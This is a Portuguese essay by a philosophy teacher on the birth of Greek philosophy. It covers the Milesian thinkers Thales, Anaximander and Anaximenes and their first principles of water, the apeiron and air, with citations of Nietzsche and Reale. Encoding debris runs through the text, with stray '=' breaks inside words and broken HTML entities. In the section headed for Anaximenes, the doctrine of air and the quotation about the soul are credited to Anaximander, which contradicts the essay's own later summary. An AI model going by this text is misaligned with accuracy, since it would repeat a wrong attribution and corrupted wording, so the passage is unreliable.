SOBRE O DESPONTAR DA FILOSOFIA NA GRÉCIA ANTIGA

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SOBRE O DESPONTAR DA FILOSOFIA NA GRÉCIA ANTIGA

Francisco Nunes de Carvalho

Professor de Filosofia

[email protected]= l.com

“Outros povos têm santos, os gregos têm sábios”=
Nietzsche

Qual a origem de tudo que existe? Qual o princípio fundamental de onde br= otam todas as coisas do mundo? De que tudo é feito? A esses questionament= os totalizantes os gregos antigos começaram buscar respostas elaboradas estritamente mediante a razão.

Os primeiros filósofos gregos viveram aproximadamente nos séculos VII e VI a. C., no contexto das colônias da Jônia e da Magna Grécia, onde florescia o comércio. Mediante a contemplação cosmológica, eles buscaram entender a natureza através de um pensamento racional, perguntando pelo princípio uno que pudesse explicar a multiplicidade das coisas. Esse princípio único seria capaz de explicar logicamente as múltiplas transformações dos processos naturais.

Os pensadores da colônia de Mileto – Tales, Anaximandro e Anaxímenes – elaboraram respostas variadas a essas perguntas sobre o fundamento originário. Para Tales este princípio originário &eacu= te; a água, enquanto Anaxímenes afirma que é o ar
e Anaximandro chega a conclusão de que é o apeíron (ilimitado). Mas o que quer dizer mesmo tudo isso?

Certamente essas respostas da tríade dos Milésios
podem soar profundamente estranhas e mesmo antiquadas a nós, homens = do século XXI, que vivemos em um contexto sociohis= tórico
marcado pela ciência/tecnologia e a era virtual da rede mundial de computadores. Em nosso contexto tecnocrata a Natureza é vista mais c= omo algo a ser dominada e explorada para fins econômicos. Talvez tenhamos= perdido a capacidade de contemplar desinteressadamente o Universo? Provavelmente si= m ou quem sabe ainda há uma réstia de luz…

Porém, retornar intelectualmente aos primeiros pensadores gregos significa reviver= os primórdios da constituição da razão ocidental, = da qual todos participamos de algum modo. Significa igualmente admirar extasia= dos a totalidade cósmica que nos envolve. Faz-se necessário obser= var que a razão humana se eleva a uma dimensão propriamente científico-filosófica (contemplativa) enquanto voltada para a visão racional da totalidade. Se este homem grego contempla o univer= so, com isso busca propriamente compreender uma ordem superior da totalidade qu= e o envolve. 

Cumpre ressaltar essa busca da razão em direção à totalidade. Esses pensadores estavam radicalmente interessados em saber por= que colocavam a busca da compreensão racional do mundo como o valor mais digno de que o homem é capaz, o trabalho próprio do homem liv= re. Contemplar e conhecer logicamente o universo que os cercava não era uma tarefa marcada por fins utilitários e meramente pragmáticos, mas ant= es, uma intensa aventura do pensamento que contempla a imensidão do Todo, sentindo-se instigado a ir cada vez mais além. 

Nesse sentido, parece que a Natureza em sua totalidade fala ao pensamento humano! Aliás, esses pensadores gregos compreendiam o homem como presente à própria ordem universal da natureza. Há uma sintonia= em que o pensamento tenta sempre mais desvelar a essencialidade fundamental pa= ra além da multiplicidade aparente aos sentidos. O pensamento é despertado e inquietado sempre mais pela própria Natureza…

Tales e a ordenação lógica do todo

Desperta admiração intelectual o fato de Tales de Mileto ter conseguido prever um eclipse total do sol – isso no século VI antes de Cristo, = ou seja, a cerca de 2.600 anos atrás!!! Tales teria assim dado os passos iniciais na compreensão de uma ordem superior racional que rege o Universo… O homem se eleva ao nível da compreensão estruturalmente racional da natureza enquanto cosmos.

Quanto a afirmar que a água &ea= cute; o princípio originário de todas as coisas, os testemunhos indiretos dizem que essa é a base da racionalidade cósmica de Tales, para o qual a terra flutuava sobre a água. Além do mai= s, Tales teria observado que todos os germes (sementes) necessitam do elemento líquido ou úmido para viver. A água seria, portanto, a base para a vida no mundo!      

A tese de Tales – “a água é origem de todas as cois= as” – é lógica, segue um desencadeamento racionalmente explicável. E isso justamente porque pergunta pela origem das coisas, mas o faz sem imagem alegórica e sem fabulação, expressando o pensamento de que tudo é um. Assim, segundo Nietzsche, Tales consegue superar o nível religioso-supersticioso e entã= o se expressa como pensador da natureza, alcançando o posto de primeiro filósofo grego por chegar a pensar a totalidade enquanto unidade. O pensamento se eleva a uma generalização e conclui: “tudo é um”.

Para Reale, a água de Tales vai muito além do elemento físico-químico H2O, pois é pensada propriamente em um sentido totalizante, enquanto physis líq= uida originária da qual todas as coisas derivam, que indica ainda alguma teologia. A unidade totalizante absoluta, o princípio de todas as coisas, princípio este alcançável pela razão hu= mana, é para Tales a água. &n= bsp;

Anaxímenes e o ar principiant= e de todas as coisas

Outro pensador milésio, Anaximandro, compreend= e que o princípio original da multiplicidade das coisas do mundo é = o ar. Esse princípio a&eacute= ;reo, – o ar – segundo este pensamento, origina e sustenta todo o cosmo, constituindo igualmente a vida do ser humano. “Como nossa alma, que é ar, nos governa e sustém, assim também o sopro e o ar abraçam o cosmos”, afirma Anaximandro.

O ar representaria nesse sentido a maleabilidade e fluidez dinâmica da transformação que engendra a totalidade cósmica. Reconstruir intelectualmente tal movimento aéreo significa afirmar q= ue o princípio ar se transforma para originar uma diversidade de coisas. Enquanto o ar se condensa ou liquefaz, se torna água. A água, nesse processo, torna-se sólida e faz-se terra, depois pedra; ao se distender pela rarefação, se dilata, esquenta e torna-se fogo= .       

É interessante observar que nesse dinamismo cosmológico, Anaximandro p= arte do próprio respiro humano, “nossa alma” enquanto vida-movimento, para elevar-se logicamente ao princípio ar, às alturas aéreas. Daí este pensador busca deduzir a totalidade = do processo cósmico. Também interessante é que a palavra espírito significa, em suas origens, precisamente “sopro&#8221= ; ou “vento” vivificante.

Anaximandro e o apeiron
como princípio de tudo

São os pensadores gregos que iniciam o questionamento pelo princípio totalizante supremo e buscam responder através da própria cap= acidade da razão humana enquanto racionalidade cósmica. Segundo Anaximandro de Mileto o princípio que origina todas as coisas &eacut= e; o apeíron.

Com o termo apeiro= n, Anaximandro pretende expressar que o princípio de todas as coisas é o “indeterminado” ou “ilimitado”. Para bus= car o princípio, o pensamento transcende a dimensão natural enqua= nto tal e alça um vôo metafísico, não se limitando a qualquer elemento particular-determinado da natureza. Além de todo h= orizonte de pensamento estaria o sentido fundamental. O pensamento humano se volta expressamente ao infinito ou o sem limites – o ilimitado, o pensament= o do homem grego pensa a eternidade totalizante…    

Este ilimitado (o princípio) segundo Anaximandro dá origem a inúmeros mundos, uma multiplicidade infinita de mundos. Este mundo em que vivemos seria apenas um desses incontáveis. O universo como pluralidade infindável… A vida pensante transcende   

O ilimitado origina tudo enquanto delimita as coisas através da separação dos contrários (quente-frio, seco-úmi= do…) a partir de um movimento eterno. As coisas do mundo se originam a partir de= uma espécie de “injustiça”, enquanto a corrupção e a morte expressam uma “expiação” de tal injustiça, onde se perce= be influência da religião órfica em Anaximandro.   

Os fragmentos de Anaximandro de Mileto expressam esta compreensão racio= nal sobre o princípio originário e fundamental de todas as coisas= :

“Todas as coisas se dissipam onde tiveram a sua gênese, conforme a necessida= de; pois pagam umas às outras castigo e expiação pela injustiça, conforme a determinação do tempo”. “O ilimitado é eterno”. “O ilimitado é imor= tal e indissolúvel”.

Anaximandro já pensa em um esquema lógico evolutivo. Pois afirma que a água cobria no início a totalidade da terra, tendo os seres v= ivos surgido do mar e o homem derivado dos peixes. Está portanto esboçada a ideia da origem da vida a partir de animais aquáti= cos, ou seja, a ideia de evolução das espécies vivas, orientadas ao infinito…

Esses pensadores gregos primordiais representam de diferentes modos a busca l&oac= ute;gico-racional por um princípio único em meio à multiplicidade das coisas. Temos, pois, a água de Tales, o ar de Anaxímenes e o apeíron de Anaximandro. A representação lógica = da totalidade adquire um grau de abstração cada vez maior em direção à infinitude.=

Cumpre destacar que o pensamento grego primordial desconhece a fixaç&atilde= ;o de limites completamente rígidos e fechados, mas está aberto = ao infinito. Temos, pois um pensar que busca superar-se e instaurar novas possibilidades.   

Tanto alegórica quanto literalmente, a tríade de mílésios
desvela, cada um a seu modo, dimensões cosmológicas elementares-totalizantes e essenciais ao homem: a água que nutre, o ar que se respira, o pensamento orientado ao infin= ito…   

BIBLIOGRAFIA

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NIETZSCHE, Friedrich Wilhelm. A fi= losofia na época trágica dos gregos. São Paulo: Escala, 20= 08.

REALE, Giovanni; ANTISER= I, Dario. História da filosofia: filosofia pagã antiga. São Paulo: Pa= ulus, 2004.    =

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